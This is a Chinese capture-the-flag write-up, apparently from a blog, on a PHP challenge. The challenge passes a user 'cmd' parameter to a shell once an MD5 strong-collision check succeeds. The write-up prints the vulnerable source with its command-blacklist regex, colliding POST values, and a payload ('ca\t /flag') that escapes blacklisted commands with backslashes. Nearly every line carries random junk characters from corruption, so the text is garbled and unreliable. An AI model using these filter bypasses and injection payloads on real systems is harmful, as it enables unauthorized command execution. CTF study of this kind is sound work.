|
|
& S+ m6 P3 o* F, c
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233053765-138473612.png" ></p>" l$ h% z: Q! y5 y7 F, m( n
<p> </p>, e4 [2 w* w4 w1 }
<p> </p>
3 L4 G. `( F2 W9 j& v, G<p> 题目打开如下,?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=,同时查看源代码</p>
: n v$ m( t4 l<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233545495-732796719.png" ></p>
( {& J$ Q& [! R* L% r/ J<p> </p>
7 Q- Q# Y2 u/ Z1 Y<p> </p>. Y0 W' K9 p# l& w: w
<p>这里有个MD5 is funny,说明这个题目大概率跟MD5有关</p>
9 i& o, c2 n( d4 \+ U+ T<p>然后我抓包了一下,消息头里面没有什么特殊的东西,于是我尝试从url入手</p>
! q, c' D2 q1 _" s5 X<p>首先把那个进行一次base64位解码</p>- [. z" ?: ]6 h- ]/ T- o
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234007573-1082134416.png" ></p>
+ {- O( \2 u. Q3 K, H! T1 m) ~<p> </p>
) J+ ^7 [9 C) g<p> </p>" L: g* w g# A! Y& h6 p
<p> 解码一次以后还是很像base64编码,于是又解码一次</p>
r% ]! e& [, k<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234057439-916556800.png" ></p>% I: z; y$ ?8 W7 _, D6 f' N1 s }
<p> </p>
" ]$ Q7 {2 u4 ?) s<p> </p>
- m$ B( I0 Y, `: y" T<p> 然后用hex解码一下得到了</p>
, ^" M( [2 Q- J+ p<div class="cnblogs_Highlighter">9 p+ r. a0 T' q9 V2 t Q
<pre class="brush:sql;gutter:true;">555.png( E* E5 y, d, ], Z# ^3 ? m( o2 e% s
</pre>
5 F- Y& {7 ^. f</div>
* S d- D9 B& h, X* t6 d% ~<p> 用同样的方法把index.php进行加密</p>* S- _0 D* t1 F) i' t
<div class="cnblogs_Highlighter">" }) h) _$ z8 F/ {0 J( Y
<pre class="brush:sql;gutter:true;">TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
$ x- `1 E6 B0 R r( ?7 v</pre>
0 s8 g( Q0 t/ C* s; x+ v! ~5 [</div>6 I0 c" e: X8 X$ x/ q
<p> 然后输入到地址栏</p>8 j @' _& |6 k. H5 Z& `
<p> 然后查看源代码,把源代码里面的那一串base64的编码解码</p>7 O- M" Z ?- c' K/ g: j9 X
<div class="cnblogs_code">
0 N/ k2 g, ?, u4 o9 h, v<pre><?<span style="color: rgba(0, 0, 0, 1)">php5 Z# ]7 f* }! S* h% ]
</span><span style="color: rgba(0, 128, 128, 1)">error_reporting</span>(<span style="color: rgba(255, 0, 255, 1)">E_ALL</span> || ~ <span style="color: rgba(255, 0, 255, 1)">E_NOTICE</span><span style="color: rgba(0, 0, 0, 1)">);: x; I- T9 C; ?% G9 x" o
</span><span style="color: rgba(0, 128, 128, 1)">header</span>('content-type:text/html;charset=utf-8'<span style="color: rgba(0, 0, 0, 1)">);
! \+ ?7 s0 Z+ x- s; W2 x% B8 r</span><span style="color: rgba(128, 0, 128, 1)">$cmd</span> = <span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">];
/ Z% [% z- L- ?3 |9 W: j$ b</span><span style="color: rgba(0, 0, 255, 1)">if</span> (!<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img']) || !<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">])) / z! F9 A- }6 G/ a( ?( X
</span><span style="color: rgba(0, 128, 128, 1)">header</span>('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='<span style="color: rgba(0, 0, 0, 1)">);
+ M z9 ^! A# }/ q3 {# Q</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = hex2bin(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img'<span style="color: rgba(0, 0, 0, 1)">])));
Q; r4 |* z* J9 p1 |2 u' Z9 \2 c$ D) C1 H) n% W% Y
</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = <span style="color: rgba(0, 128, 128, 1)">preg_replace</span>("/[^a-zA-Z0-9.]+/", "", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">);
$ U" v9 z5 n) K# V# ?/ ^; d9 e& l d1 z</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/flag/i", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">)) {5 s) W5 ~- k. m
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> '<img src ="./ctf3.jpeg">'<span style="color: rgba(0, 0, 0, 1)">;; t$ I% c# T& j2 @6 F
</span><span style="color: rgba(0, 0, 255, 1)">die</span>("xixi~ no flag"<span style="color: rgba(0, 0, 0, 1)">);
( X2 d7 V5 d3 F, w S; W$ r} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
- R* k' P5 j1 A </span><span style="color: rgba(128, 0, 128, 1)">$txt</span> = <span style="color: rgba(0, 128, 128, 1)">base64_encode</span>(<span style="color: rgba(0, 128, 128, 1)">file_get_contents</span>(<span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">));$ V) Z; y. F0 G( R
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<img src='data:image/gif;base64," . <span style="color: rgba(128, 0, 128, 1)">$txt</span> . "'></img>"<span style="color: rgba(0, 0, 0, 1)">;' E$ p2 S) T- |) {0 [" K4 h
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;, `7 X( }$ `4 r& Q' X
}# C% X0 {' M# G. X6 H- ], f
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">;& t+ p! v. k$ r. }) W' A1 e/ Z% ^
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;
' h' D6 O. Q2 T1 S+ k* _</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">)) {; R, N4 j$ T& x {: K
</span><span style="color: rgba(0, 0, 255, 1)">echo</span>("forbid ~"<span style="color: rgba(0, 0, 0, 1)">);
2 P; U) d0 ~& }/ j$ n6 ?/ s </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;4 r, h! o2 V8 B1 C0 q- I- M
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
1 F2 `7 y6 o& b3 Z/ h2 x' [ </span><span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] && <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {
3 Q( g% F; {0 G% f: {: M </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;! }1 l/ W& V: s$ x
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {( X" Y8 N. {) F9 c0 v
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);
, u @. q# n7 N }
6 p* b# _; \& t Q+ P: Y}
/ r& J7 F3 c' M3 `
& F, A" g' ]9 \4 j- n3 I( n% {7 C</span>?>
; V7 b2 A m+ C8 g1 `3 e$ I<html>
1 L& \, W4 K: u k1 t9 u<style><span style="color: rgba(0, 0, 0, 1)">4 h# s) ?3 U3 |, @/ z0 c
body{
$ G5 q6 d# t) x background</span>:url(./bj.png) no-<span style="color: rgba(0, 0, 0, 1)">repeat center center;
8 [: h4 q4 {$ w2 o background</span>-size:<span style="color: rgba(0, 0, 0, 1)">cover;9 C) L, C0 S3 Q2 M9 [
background</span>-attachment:<span style="color: rgba(0, 0, 0, 1)">fixed;
6 Y- g/ l5 M1 r+ O I background</span>-color:<span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">CCCCCC;</span>
4 z" @8 E: Y2 z, v; {<span style="color: rgba(0, 0, 0, 1)">}, Y' z& _( w( T2 {( m
</span></style>9 M/ G7 ^! I9 S& J
<body>
. t) m4 n. [# E1 D4 R</body>
# P9 i! z& w4 _4 K4 ] E) p</html></pre>
6 B$ s- D) K' c</div>9 o/ b. `" f$ y- o P1 L4 Q5 L
<p>结合前面的推断,关键代码就在</p>
2 G$ k' X( X0 M<div class="cnblogs_code">" a# l1 n V7 g! T
<pre> <span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] && <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {
) `( s6 f! p0 C: g* k$ B </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;
1 ~+ A# h6 f" o! J5 ? } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {3 \ w8 l; A9 ~* v
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);
/ R M* l; Y- f; ]# O6 q0 V }</span></pre> n1 R" z5 l* p/ @- j
</div>1 M- ]: ]/ \4 d' t# U
<p>这种MD5是md5强碰撞</p>3 I+ w, e% \! [" [
<div class="cnblogs_Highlighter">
; h( Q& q7 i9 E( M( U) _<pre class="brush:sql;gutter:true;">a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2$ }- j" k+ {: l. u) Y! U
</pre>
5 O6 ~' }, [. V, J% U- H6 H</div>
0 X- Y/ Q8 M, O% `+ H<div class="cnblogs_Highlighter">0 M5 T2 c0 t8 Y' D& E
<pre class="brush:sql;gutter:true;">b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2; u: J0 O. o$ h+ b) ^0 H7 G
</pre>! R" u8 @0 c2 C1 d
</div>; D9 j8 @6 g" s4 y( e
<p> 只需要这样就可以把cmd里面的当成命令来处理。</p>7 G7 O0 {' H4 d$ A
<p>于是采用payload:</p>
5 A# l& B2 ^* w3 z<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211235254110-1699040750.png" ></p>
. z. s+ D3 I' Q. U. m" Z$ @3 M<p> </p>) j: [; R' J) q, Z" X
<p> 因为'\'并没有被屏蔽所以可以这么绕过</p>
3 |4 O! D5 F* e" l6 c9 N<p>ls和l\s在命令执行的时候结果是一样的。</p>0 l3 F$ }8 K: x& L$ R! X
<p>然后发现根目录里面有/flag</p>
0 z, J9 |( i1 x7 d2 w3 a/ n' E Z, c<p>于是payload:</p>
: f- }) }5 p: ? a+ f2 m% O<div class="cnblogs_Highlighter">
- p! f" O/ D# d" B<pre class="brush:sql;gutter:true;">?cmd=ca\t%20/flag
; @. n1 A( {# y' U$ R3 ^ ^9 {- _</pre>
4 @7 E1 m" z* P" V- ?- Q</div>
! ?! A7 A; J! t) l3 k<p> 对于这个题目,因为他没有屏蔽sort和dir</p>& y7 L# Q2 c0 i" b/ d* ]
<p>所以查看也可以用dir来代替ls,cat可以用sort来代替。</p>
( d0 w% n$ ~; |, O" X( m<p> </p>1 }2 B: N; O6 _ B
|
|